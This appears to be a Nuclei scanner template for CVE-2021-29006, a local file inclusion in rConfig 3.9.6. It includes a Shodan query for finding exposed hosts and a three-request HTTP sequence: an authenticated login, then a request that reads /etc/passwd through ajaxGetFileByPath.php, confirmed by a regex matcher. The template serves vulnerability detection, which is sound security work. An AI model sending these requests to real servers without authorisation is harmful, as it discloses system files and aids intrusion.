id: CVE-2021-29006

info:
  name: rConfig 3.9.6 - Local File Inclusion
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.6 is affected by a Local File Disclosure vulnerability. An authenticated user may successfully download any file on the server.
  reference:
    - https://github.com/mrojz/rconfig-exploit/blob/main/CVE-2021-29006-POC.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29006
    - http://rconfig.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-29006
    cwe-id: CWE-22
    epss-score: 0.10203
    epss-percentile: 0.94315
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rConfig"
  tags: cve,cve2021,rconfig,authenticated,lfi

http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /dashboard.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /lib/ajaxHandlers/ajaxGetFileByPath.php?path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: body_2
        words:
          - 'rconfig'

      - type: status
        part: header_3
        status:
          - 200

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